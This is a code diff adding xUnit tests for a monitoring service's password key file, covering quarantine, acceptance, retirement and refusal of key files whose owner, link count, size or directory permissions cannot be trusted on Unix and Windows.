+                /* The earlier file stays where it was, unread and untouched; the file that was at the live name is kept
+                   beside it, and the quarantine name still answers for the earlier one. */
+                Assert.False(File.Exists(keyPath));
+                Assert.Equal(keyBefore, File.ReadAllBytes(keyPath + ".discarded-1"));
+                Assert.NotEqual(keyBefore, File.ReadAllBytes(quarantine));
+                Assert.True(load.FoundAfterOpenDirectory);
+                Assert.Null(load.Pkcs8);
+            }
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void FilesAtBothNames_AreRefusedAsUntrusted_AndNeitherIsTouched()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+            var keyPath = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            var quarantine = keyPath + DarlingPasswordKeyFile.QuarantineSuffix;
+            WriteKeyFile(keyPath, Convert.ToBase64String(Key3072.Value));
+            WriteKeyFile(quarantine, Convert.ToBase64String(Key3072.Value));
+
+            var load = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+
+            Assert.True(load.Present);
+            Assert.True(load.Untrusted);
+            Assert.Null(load.Pkcs8);
+            Assert.StartsWith("Two password key files are in ", load.Refusal, StringComparison.Ordinal);
+            Assert.Contains(directory, load.Refusal, StringComparison.Ordinal);
+            Assert.Contains("remove the other, then restart", load.Refusal, StringComparison.Ordinal);
+            Assert.True(File.Exists(keyPath));
+            Assert.True(File.Exists(quarantine));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void Accept_PutsTheKeptKeyBackAtTheLiveName_AndTheNextLoadIsNotFlagged()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+            var keyPath = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            WriteKeyFile(keyPath, Convert.ToBase64String(Key3072.Value));
+            var modes = new StandInUnixModes();
+            modes.Report(directory, "777");
+
+            using (ComposeCredentialDirectoryGuard.BeginForTest(modes))
+            {
+                Assert.True(DarlingPasswordKeyFile.Load(directory, NullLogger.Instance).FoundAfterOpenDirectory);
+            }
+
+            using (ComposeCredentialDirectoryGuard.BeginForTest(modes))
+            {
+                Assert.Equal(keyPath, DarlingPasswordKeyFile.Accept(directory, NullLogger.Instance));
+
+                Assert.True(File.Exists(keyPath));
+                Assert.False(File.Exists(keyPath + DarlingPasswordKeyFile.QuarantineSuffix));
+                var load = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+                Assert.Null(load.Refusal);
+                Assert.False(load.FoundAfterOpenDirectory);
+                Assert.Equal(Key3072.Value, load.Pkcs8);
+                Assert.Equal(keyPath, load.Path);
+
+                /* Nothing is kept now, so there is nothing to accept. */
+                var none = Assert.Throws<InvalidOperationException>(() => DarlingPasswordKeyFile.Accept(directory, NullLogger.Instance));
+                Assert.Contains(directory, none.Message, StringComparison.Ordinal);
+            }
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void Accept_NeverOverwrites_WhenTheLiveNameIsTaken()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+            var keyPath = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            var quarantine = keyPath + DarlingPasswordKeyFile.QuarantineSuffix;
+            WriteKeyFile(keyPath, "example-live");
+            WriteKeyFile(quarantine, "example-kept");
+
+            var thrown = Assert.Throws<InvalidOperationException>(() => DarlingPasswordKeyFile.Accept(directory, NullLogger.Instance));
+
+            Assert.Contains(DarlingPasswordKeyFile.FileName, thrown.Message, StringComparison.Ordinal);
+            Assert.Contains("remove the other", thrown.Message, StringComparison.Ordinal);
+            Assert.Equal("example-live", ReadKeyText(keyPath));
+            Assert.Equal("example-kept", ReadKeyText(quarantine));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void Retire_RetiresTheKeptKey_WhenThereIsOne_AndOtherwiseTheLiveKey()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+            var keyPath = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            var quarantine = keyPath + DarlingPasswordKeyFile.QuarantineSuffix;
+            WriteKeyFile(quarantine, Convert.ToBase64String(Key3072.Value));
+            var keptBytes = File.ReadAllBytes(quarantine);
+
+            var retired = DarlingPasswordKeyFile.Retire(directory, "retired", NullLogger.Instance);
+
+            Assert.Equal(keyPath + ".retired", retired);
+            Assert.False(File.Exists(quarantine));
+            Assert.Equal(keptBytes, File.ReadAllBytes(retired));
+            Assert.False(DarlingPasswordKeyFile.Load(directory, NullLogger.Instance).Present);
+
+            /* With a live key and a kept one, the kept one goes and the live one stays. */
+            WriteKeyFile(keyPath, "example-live");
+            WriteKeyFile(quarantine, "example-kept");
+
+            var second = DarlingPasswordKeyFile.Retire(directory, "retired", NullLogger.Instance);
+
+            Assert.Equal(keyPath + ".retired-1", second);
+            Assert.True(File.Exists(keyPath));
+            Assert.Equal("example-kept", ReadKeyText(second));
+            Assert.Equal(keptBytes, File.ReadAllBytes(retired));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void Generate_RefusesWhileAKeptKeyIsWaiting_AndWritesNothing()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+            var quarantine = Path.Combine(directory, DarlingPasswordKeyFile.QuarantineFileName);
+            WriteKeyFile(quarantine, "example-kept");
+            var supplied = (byte[])Key3072.Value.Clone();
+
+            var generated = DarlingPasswordKeyFile.Generate(directory, () => supplied, NullLogger.Instance);
+
+            Assert.NotNull(generated.Refusal);
+            Assert.Null(generated.Pkcs8);
+            Assert.False(File.Exists(Path.Combine(directory, DarlingPasswordKeyFile.FileName)));
+            Assert.Equal("example-kept", ReadKeyText(quarantine));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void AFileBiggerThanTheKeyLimit_IsRefusedBeforeItIsRead()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+            var keyPath = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            StandInUnixModes.WriteOwnerOnly(keyPath, new string('A', 9000));
+
+            var load = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+
+            Assert.True(load.Present);
+            Assert.False(load.Untrusted);
+            Assert.Null(load.Pkcs8);
+            Assert.Contains("larger than 8192 bytes", load.Refusal, StringComparison.Ordinal);
+            Assert.Contains(DarlingPasswordKeyFile.FileName, load.Refusal, StringComparison.Ordinal);
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void AKeyFileAnotherUserOwns_OrWithMoreThanOneName_IsRefusedAsUntrusted_OnUnix()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+            var keyPath = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            WriteKeyFile(keyPath, Convert.ToBase64String(Key3072.Value));
+            var modes = new StandInUnixModes { EffectiveUserId = 1000 };
+            modes.Report(directory, "700");
+
+            using (ComposeCredentialDirectoryGuard.BeginForTest(modes))
+            {
+                modes.ReportOwner(keyPath, userId: 1000);
+                var own = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+                Assert.Null(own.Refusal);
+                Assert.Equal(Key3072.Value, own.Pkcs8);
+
+                modes.ReportOwner(keyPath, userId: 1001);
+                var foreign = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+                AssertRefusedUntrusted(foreign, directory, "owned by another user");
+
+                modes.ReportOwner(keyPath, userId: 1000, links: 2);
+                var linked = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+                AssertRefusedUntrusted(linked, directory, "2 names, not one");
+            }
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void TheStatBuffer_IsReadAtEachLayoutsOffsets()
+    {
+        var statx = new byte[512];
+        BitConverter.GetBytes(0xCu).CopyTo(statx, 0);
+        BitConverter.GetBytes(3u).CopyTo(statx, 16);
+        BitConverter.GetBytes(1234u).CopyTo(statx, 20);
+        Assert.Equal(new UnixFileOwner(1234, 3), FileIdentity.DecodeUnixOwner(statx, FileIdentity.UnixStatLayout.Statx));
+        Assert.True(FileIdentity.StatxFilledOwnerAndLinks(statx));
+
+        BitConverter.GetBytes(0x8u).CopyTo(statx, 0);
+        Assert.False(FileIdentity.StatxFilledOwnerAndLinks(statx));
+        BitConverter.GetBytes(0x4u).CopyTo(statx, 0);
+        Assert.False(FileIdentity.StatxFilledOwnerAndLinks(statx));
+
+        var mac = new byte[512];
+        BitConverter.GetBytes((ushort)1).CopyTo(mac, 6);
+        BitConverter.GetBytes(501u).CopyTo(mac, 16);
+        Assert.Equal(new UnixFileOwner(501, 1), FileIdentity.DecodeUnixOwner(mac, FileIdentity.UnixStatLayout.MacOs));
+    }
+
+    [Fact]
+    public void ALoad_WithADirectoryNameThatCannotBeUsed_ReturnsARefusal_AndNeverThrows()
+    {
+        var load = DarlingPasswordKeyFile.Load("example-keys-\0-directory", NullLogger.Instance);
+
+        Assert.Null(load.Pkcs8);
+        Assert.False(load.FoundAfterOpenDirectory);
+        Assert.NotNull(load.Path);
+    }
+
+    [Fact]
+    public void Generate_IntoAnExistingDirectoryOthersCanWrite_IsRefused_OnWindows()
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "the directory ACL is Windows's");
+        var directory = NewDirectory();
+        try
+        {
+            var info = Directory.CreateDirectory(directory);
+            var security = info.GetAccessControl();
+            security.AddAccessRule(new FileSystemAccessRule(
+                new SecurityIdentifier(WellKnownSidType.BuiltinUsersSid, null), FileSystemRights.Modify,
+                InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, PropagationFlags.None, AccessControlType.Allow));
+            info.SetAccessControl(security);
+
+            var generated = DarlingPasswordKeyFile.Generate(directory, () => (byte[])Key3072.Value.Clone(), NullLogger.Instance);
+
+            Assert.True(generated.Untrusted);
+            Assert.Null(generated.Pkcs8);
+            Assert.Contains("can write to it", generated.Refusal, StringComparison.Ordinal);
+            Assert.Contains(directory, generated.Refusal, StringComparison.Ordinal);
+            Assert.False(File.Exists(Path.Combine(directory, DarlingPasswordKeyFile.FileName)));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void Generate_IntoAnExistingDirectory_IgnoresAnEntryOnlyItsChildrenInherit_OnWindows()
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "the directory ACL is Windows's");
+        var directory = NewDirectory();
+        try
+        {
+            var info = Directory.CreateDirectory(directory);
+            var security = info.GetAccessControl();
+            security.AddAccessRule(new FileSystemAccessRule(
+                new SecurityIdentifier(WellKnownSidType.BuiltinUsersSid, null), FileSystemRights.FullControl,
+                InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, PropagationFlags.InheritOnly, AccessControlType.Allow));
+            info.SetAccessControl(security);
+
+            Assert.Null(DarlingFileSecurity.WriteAccessBeyondTrusted(directory));
+            var generated = DarlingPasswordKeyFile.Generate(directory, () => (byte[])Key3072.Value.Clone(), NullLogger.Instance);
+
+            Assert.Null(generated.Refusal);
+            Assert.True(File.Exists(Path.Combine(directory, DarlingPasswordKeyFile.FileName)));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void Generate_IntoAnExistingDirectoryOwnedBySomeoneElse_IsRefused_OnWindows()
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "the directory ACL is Windows's");
+        var directory = NewDirectory();
+        try
+        {
+            var info = Directory.CreateDirectory(directory);
+            Assert.Null(DarlingFileSecurity.WriteAccessBeyondTrusted(directory));
+            var security = info.GetAccessControl();
+            try
+            {
+                security.SetOwner(new SecurityIdentifier(WellKnownSidType.BuiltinUsersSid, null));
+                info.SetAccessControl(security);
+            }
+            catch (Exception ex) when (ex is InvalidOperationException or UnauthorizedAccessException or IOException)
+            {
+                Assert.Skip("this account may not hand a directory to another owner: " + ex.Message);
+            }
+
+            var writers = DarlingFileSecurity.WriteAccessBeyondTrusted(directory);
+            var generated = DarlingPasswordKeyFile.Generate(directory, () => (byte[])Key3072.Value.Clone(), NullLogger.Instance);
+
+            Assert.Contains("(the owner)", writers, StringComparison.Ordinal);
+            Assert.True(generated.Untrusted);
+            Assert.Null(generated.Pkcs8);
+            Assert.Contains("(the owner)", generated.Refusal, StringComparison.Ordinal);
+            Assert.False(File.Exists(Path.Combine(directory, DarlingPasswordKeyFile.FileName)));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void ADirectoryDescriptor_NamesAnOwnerBeyondTheTrustedThree_ButNotATrustedOne_OnWindows()
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "the directory ACL is Windows's");
+        var other = new DirectorySecurity();
+        other.SetOwner(new SecurityIdentifier(WellKnownSidType.BuiltinUsersSid, null));
+        var trusted = new DirectorySecurity();
+        trusted.SetOwner(new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, null));
+
+        Assert.Contains("(the owner)", DarlingFileSecurity.WriteAccessBeyondTrusted(other), StringComparison.Ordinal);
+        Assert.Null(DarlingFileSecurity.WriteAccessBeyondTrusted(trusted));
+    }
+
+    [Fact]
+    public void ADirectoryThatWasNeverOpen_DoesNotFlagTheKey()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+            var keyPath = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            WriteKeyFile(keyPath, Convert.ToBase64String(Key3072.Value));
+            var modes = new StandInUnixModes();
+            modes.Report(directory, "700");
+
+            using (ComposeCredentialDirectoryGuard.BeginForTest(modes))
+            {
+                var load = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+
+                Assert.Null(load.Refusal);
+                Assert.False(load.FoundAfterOpenDirectory);
+                Assert.Equal(Key3072.Value, load.Pkcs8);
+            }
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void ThePasswordKeyLoad_DoesNotTakeTheLogHashKeysDiscardRecord()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+            var hashKeyPath = Path.Combine(directory, DarlingLogHashKeyFile.FileName);
+            StandInUnixModes.WriteOwnerOnly(hashKeyPath, OperatingSystem.IsWindows() ? DarlingSecrets.Protect("AAAA") : "AAAA");
+            var modes = new StandInUnixModes();
+            modes.Report(directory, "777");
+
+            using (ComposeCredentialDirectoryGuard.BeginForTest(modes))
+            {
+                /* The password key's load is the one that finds the directory open and discards the log-hash key... */
+                Assert.False(DarlingPasswordKeyFile.Load(directory, NullLogger.Instance).Present);
+
+                /* ...and the log-hash key's load, which generates the replacement, still hears about it. */
+                var hash = DarlingLogHashKeyFile.Load(directory, NullLogger.Instance);
+                Assert.True(hash.Generated);
+                Assert.NotNull(hash.Replaced);
+            }
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void TheDiscardList_RemovesThePasswordKeysTemporaryFiles_ButNotTheKeyFiles()
+    {
+        var names = DarlingManagedRoles.CredentialDirectoryFileNames;
+
+        Assert.Contains(DarlingPasswordKeyFile.UnixFileName + ".tmp", names);
+        Assert.Contains(DarlingPasswordKeyFile.WindowsFileName + ".tmp", names);
+        Assert.DoesNotContain(DarlingPasswordKeyFile.UnixFileName, names);
+        Assert.DoesNotContain(DarlingPasswordKeyFile.WindowsFileName, names);
+
+        /* The log-hash key and the role passwords are still discarded. */
+        Assert.Contains(DarlingLogHashKeyFile.UnixFileName, names);
+        Assert.Contains(DarlingLogHashKeyFile.WindowsFileName, names);
+        Assert.Contains(DarlingManagedRoles.ComposeStoreCredentialFileName(DarlingManagedPostgres.AdminRoleName), names);
+    }
+
+    [Fact]
+    public void ThePasswordKeyAndTheLogHashKey_ShareADirectory()
+    {
+        var configPath = Path.Combine(Path.GetTempPath(), "darling-5366-config", "darling.json");
+        var config = new DarlingConfig();
+        config.Postgres.Managed = false;
+
+        Assert.Equal(
+            Path.Combine(Path.GetDirectoryName(configPath)!, DarlingLogHashKeyFile.BringYourOwnDirectoryName),
+            DarlingLogHashKeyFile.DirectoryFor(config, configPath));
+        Assert.Equal("password-key", DarlingPasswordKeyFile.UnixFileName);
+        Assert.Equal("password-key.dpapi", DarlingPasswordKeyFile.WindowsFileName);
+    }
+
+    private static void AssertRefusedUntrusted(PasswordKeyFileLoad load, string directory, string reason)
+    {
+        Assert.True(load.Present);
+        Assert.True(load.Untrusted);
+        Assert.Null(load.Pkcs8);
+        Assert.Contains(reason, load.Refusal, StringComparison.Ordinal);
+        Assert.Contains(DarlingPasswordKeyFile.FileName, load.Refusal, StringComparison.Ordinal);
+        Assert.Contains(directory, load.Refusal, StringComparison.Ordinal);
+    }
+
+    /// <summary>A key file written the way a person or another process would leave one (not through the service).</summary>
+    private static void WriteKeyFile(string path, string base64) =>
+        StandInUnixModes.WriteOwnerOnly(path, OperatingSystem.IsWindows() ? DarlingSecrets.Protect(base64) : base64);
+
+    /// <summary>What a key file written by <see cref="WriteKeyFile"/> holds, DPAPI layer removed on Windows.</summary>
+    private static string ReadKeyText(string path) =>
+        OperatingSystem.IsWindows() ? DarlingSecrets.Unprotect(File.ReadAllText(path).Trim()) : File.ReadAllText(path).Trim();
+
+    private static void AssertOwnerOnly(string path)
+    {
+        if (OperatingSystem.IsWindows())
+        {
+            Assert.True(DarlingFileSecurity.IsTrustedOwner(path));
+            Assert.False(DarlingFileSecurity.IsReadableByOrdinaryUsers(path));
+            Assert.True(DarlingFileSecurity.GrantsHardenedAccount(path));
+        }
+        else
+        {
+            Assert.Equal(UnixFileMode.UserRead | UnixFileMode.UserWrite, File.GetUnixFileMode(path));
+        }
+    }
+
+    private static string NewDirectory() =>
+        Path.Combine(Path.GetTempPath(), "darling-5366-" + Guid.NewGuid().ToString("N"), "keys");
+
+    private static void Remove(string directory)
+    {
+        var root = Path.GetDirectoryName(directory)!;
+        if (Directory.Exists(root))
+        {
+            Directory.Delete(root, recursive: true);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingPasswordKeyFileUnixTests.cs b/Darling/Darling.Tests/DarlingPasswordKeyFileUnixTests.cs
new file mode 100644
index 0000000000..229686d40f
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingPasswordKeyFileUnixTests.cs
@@ -0,0 +1,311 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Diagnostics;
+using System.Globalization;
+using System.IO;
+using System.Runtime.Versioning;
+using System.Security.Cryptography;
+using Microsoft.Extensions.Logging.Abstractions;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Unix half of the password key file (#5366), run against the operating system itself: the real owner and link
+/// count read, and a key generated, loaded and refused through <see cref="PlatformUnixDirectoryModes"/> with no stand-in.
+/// Every test skips on Windows, which judges an ACL instead. The test project targets Windows, so it cannot run on a
+/// Linux runner; a developer on macOS or Linux, or the container's own start-up check, is where these run.
+/// </summary>
+[UnsupportedOSPlatform("windows")]
+public sealed class DarlingPasswordKeyFileUnixTests
+{
+    private const string UnixOnly = "the owner and link count are read from the Unix file system; Windows judges an ACL";
+
+    [Fact]
+    public void ANewFile_ReportsTheRunningUserAsOwner_AndOneName()
+    {
+        Assert.SkipUnless(!OperatingSystem.IsWindows(), UnixOnly);
+        var directory = NewDirectory();
+        try
+        {
+            var path = WriteFile(directory, "example-content");
+
+            var owner = FileIdentity.UnixOwnerOf(path);
+
+            Assert.NotNull(owner);
+            Assert.Equal(ReadUserIdFromTheSystem(), owner.Value.UserId);
+            Assert.Equal(FileIdentity.EffectiveUserId(), owner.Value.UserId);
+            Assert.Equal(1UL, owner.Value.Links);
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void AFileWithASecondName_ReportsTwoNames()
+    {
+        Assert.SkipUnless(!OperatingSystem.IsWindows(), UnixOnly);
+        var directory = NewDirectory();
+        try
+        {
+            var path = WriteFile(directory, "example-content");
+            LinkTo(path, Path.Combine(directory, "example-second-name"));
+
+            var owner = FileIdentity.UnixOwnerOf(path);
+
+            Assert.NotNull(owner);
+            Assert.Equal(2UL, owner.Value.Links);
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void ASymbolicLink_IsFollowed_ToTheFileItNames()
+    {
+        Assert.SkipUnless(!OperatingSystem.IsWindows(), UnixOnly);
+        var directory = NewDirectory();
+        try
+        {
+            var path = WriteFile(directory, "example-content");
+            var link = Path.Combine(directory, "example-symbolic-name");
+            File.CreateSymbolicLink(link, path);
+
+            var owner = FileIdentity.UnixOwnerOf(link);
+
+            Assert.NotNull(owner);
+            Assert.Equal(1UL, owner.Value.Links);
+            Assert.Equal(FileIdentity.EffectiveUserId(), owner.Value.UserId);
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void APathWithNothingThere_ReadsAsNothing_NotAsAnOwner()
+    {
+        Assert.SkipUnless(!OperatingSystem.IsWindows(), UnixOnly);
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+
+            Assert.Null(FileIdentity.UnixOwnerOf(Path.Combine(directory, "example-absent")));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void AKey_GeneratedAndLoadedThroughThePlatformsOwnCalls_RoundTrips_AndIsOwnerOnly()
+    {
+        Assert.SkipUnless(!OperatingSystem.IsWindows(), UnixOnly);
+        Assert.IsType<PlatformUnixDirectoryModes>(ComposeCredentialDirectoryGuard.Current.UnixModes);
+        var directory = NewDirectory();
+        try
+        {
+            using var rsa = RSA.Create(DarlingPasswordKeyFile.KeyBits);
+            var pkcs8 = rsa.ExportPkcs8PrivateKey();
+
+            var generated = DarlingPasswordKeyFile.Generate(directory, () => (byte[])pkcs8.Clone(), NullLogger.Instance);
+            var loaded = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+
+            Assert.Null(generated.Refusal);
+            Assert.Null(loaded.Refusal);
+            Assert.Equal(pkcs8, loaded.Pkcs8);
+            Assert.Equal(
+                UnixFileMode.UserRead | UnixFileMode.UserWrite,
+                File.GetUnixFileMode(Path.Combine(directory, DarlingPasswordKeyFile.FileName)));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void AKeyFile_WithASecondName_IsRefused_ByTheRealLinkCount()
+    {
+        Assert.SkipUnless(!OperatingSystem.IsWindows(), UnixOnly);
+        var directory = NewDirectory();
+        try
+        {
+            using var rsa = RSA.Create(DarlingPasswordKeyFile.KeyBits);
+            var pkcs8 = rsa.ExportPkcs8PrivateKey();
+            Assert.Null(DarlingPasswordKeyFile.Generate(directory, () => (byte[])pkcs8.Clone(), NullLogger.Instance).Refusal);
+            var path = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            LinkTo(path, Path.Combine(directory, "example-second-name"));
+
+            var load = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+
+            Assert.True(load.Present);
+            Assert.True(load.Untrusted);
+            Assert.Null(load.Pkcs8);
+            Assert.Contains("2 names, not one", load.Refusal, StringComparison.Ordinal);
+            Assert.Contains(DarlingPasswordKeyFile.FileName, load.Refusal, StringComparison.Ordinal);
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void AFileAndItsSecondName_HaveTheSameFileId()
+    {
+        Assert.SkipUnless(!OperatingSystem.IsWindows(), UnixOnly);
+        var directory = NewDirectory();
+        try
+        {
+            var path = WriteFile(directory, "example-content");
+            var second = Path.Combine(directory, "example-second-name");
+            LinkTo(path, second);
+
+            var first = FileIdentity.Of(path);
+
+            Assert.NotNull(first);
+            Assert.Equal(first, FileIdentity.Of(second));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void TwoDifferentFiles_HaveDifferentFileIds()
+    {
+        Assert.SkipUnless(!OperatingSystem.IsWindows(), UnixOnly);
+        var directory = NewDirectory();
+        try
+        {
+            var path = WriteFile(directory, "example-content");
+            var other = Path.Combine(directory, "example-other-file");
+            File.WriteAllText(other, "example-content");
+
+            var first = FileIdentity.Of(path);
+            var second = FileIdentity.Of(other);
+
+            Assert.NotNull(first);
+            Assert.NotNull(second);
+            Assert.NotEqual(first, second);
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void ASymbolicLink_HasTheFileIdOfTheFileItNames()
+    {
+        Assert.SkipUnless(!OperatingSystem.IsWindows(), UnixOnly);
+        var directory = NewDirectory();
+        try
+        {
+            var path = WriteFile(directory, "example-content");
+            var link = Path.Combine(directory, "example-symbolic-name");
+            File.CreateSymbolicLink(link, path);
+
+            Assert.Equal(FileIdentity.Of(path), FileIdentity.Of(link));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void AMissingPath_HasNoFileId()
+    {
+        Assert.SkipUnless(!OperatingSystem.IsWindows(), UnixOnly);
+        var directory = NewDirectory();
+        try
+        {
+            var path = WriteFile(directory, "example-content");
+
+            Assert.Null(FileIdentity.Of(Path.Combine(directory, "example-missing-file")));
+            Assert.Null(FileIdentity.Of(Path.Combine(path, "example-under-a-file")));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    /// <summary>Pure decode, so it runs on every platform: the offsets the Linux file number read uses.</summary>
+    [Fact]
+    public void TheStatxBuffer_IsReadForTheFileIdAtItsOffsets()
+    {
+        var statx = new byte[512];
+        BitConverter.GetBytes(0x100u).CopyTo(statx, 0);
+        BitConverter.GetBytes(0x1122334455667788UL).CopyTo(statx, 32);
+        BitConverter.GetBytes(8u).CopyTo(statx, 136);
+        BitConverter.GetBytes(17u).CopyTo(statx, 140);
+
+        Assert.True(FileIdentity.StatxFilledInode(statx));
+        Assert.Equal(new FileId((8UL << 32) | 17UL, 0x1122334455667788UL), FileIdentity.DecodeStatxFileId(statx));
+
+        BitConverter.GetBytes(0xEFFu).CopyTo(statx, 0);
+        Assert.False(FileIdentity.StatxFilledInode(statx));
+    }
+
+    private static string NewDirectory() =>
+        Path.Combine(Path.GetTempPath(), "darling-5366-unix-" + Guid.NewGuid().ToString("N"), "keys");
+
+    private static string WriteFile(string directory, string content)
+    {
+        Directory.CreateDirectory(directory);
+        var path = Path.Combine(directory, "example-file");
+        File.WriteAllText(path, content);
+        return path;
+    }
+
+    private static void Remove(string directory)
+    {
+        var root = Path.GetDirectoryName(directory)!;
+        if (Directory.Exists(root))
+        {
+            Directory.Delete(root, recursive: true);
+        }
+    }
+
+    /// <summary>The user id the system reports for this process, asked of <c>id</c> rather than of the call under test.</summary>
+    private static uint ReadUserIdFromTheSystem() =>
+        uint.Parse(RunTool("id", ["-u"]).Trim(), CultureInfo.InvariantCulture);
+
+    /// <summary>Gives <paramref name="existing"/> a second name with the system's own <c>ln</c>.</summary>
+    private static void LinkTo(string existing, string second) => RunTool("ln", [existing, second]);
+
+    private static string RunTool(string tool, string[] arguments)
+    {
+        var start = new ProcessStartInfo(tool) { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        foreach (var argument in arguments)
+        {
+            start.ArgumentList.Add(argument);
+        }
+
+        using var process = Process.Start(start) ?? throw new InvalidOperationException($"{tool} could not be started.");
+        var output = process.StandardOutput.ReadToEnd();
+        var error = process.StandardError.ReadToEnd();
+        process.WaitForExit();
+        Assert.True(process.ExitCode == 0, $"{tool} failed: {error}");
+        return output;
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingPasswordKeyRuntimeTests.cs b/Darling/Darling.Tests/DarlingPasswordKeyRuntimeTests.cs
new file mode 100644
index 0000000000..47c26df7af
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingPasswordKeyRuntimeTests.cs
@@ -0,0 +1,183 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The store-free half of the password key runtime (#5366): the self-test that judges a kept key file, the reset verb's
+/// text and grammar, the ring a web write sees before the start finishes, and the source pins that keep the start where
+/// it must be (after migrations and provisioning, before any collection) and the per-sweep check in the loop.
+/// </summary>
+public sealed class DarlingPasswordKeyRuntimeTests
+{
+    [Fact]
+    public void TheSelfTest_PassesForTheKeysOwnPrivateHalf_AndFailsForAnyOtherKey()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        using var other = PasswordPrivateKey.Generate();
+        var published = new PublishedKey(key.PublicKey.KeyId, key.PublicKey.Spki);
+
+        Assert.True(DarlingPasswordKeyRuntime.SelfTest(key, published));
+        Assert.False(DarlingPasswordKeyRuntime.SelfTest(other, published));
+    }
+
+    [Fact]
+    public void BeforeTheStartFinishes_TheRingRefusesWithTheStillLoadingReason()
+    {
+        // Production code sets the static once, at start; no test sets it, so a fresh process still holds the first ring.
+        var ring = DarlingPasswordKey.Current;
+        Assert.False(ring.Status.CanSeal);
+        Assert.Equal(DarlingPasswordKey.NotReadyReason, ring.Status.Reason);
+        var thrown = Assert.Throws<InvalidOperationException>(
+            () => ring.Seal("p@ss-not-real", PasswordBinding.ForSmtp("smtp.example.com", 25, false, "user")));
+        Assert.Equal(DarlingPasswordKey.NotReadyReason, thrown.Message);
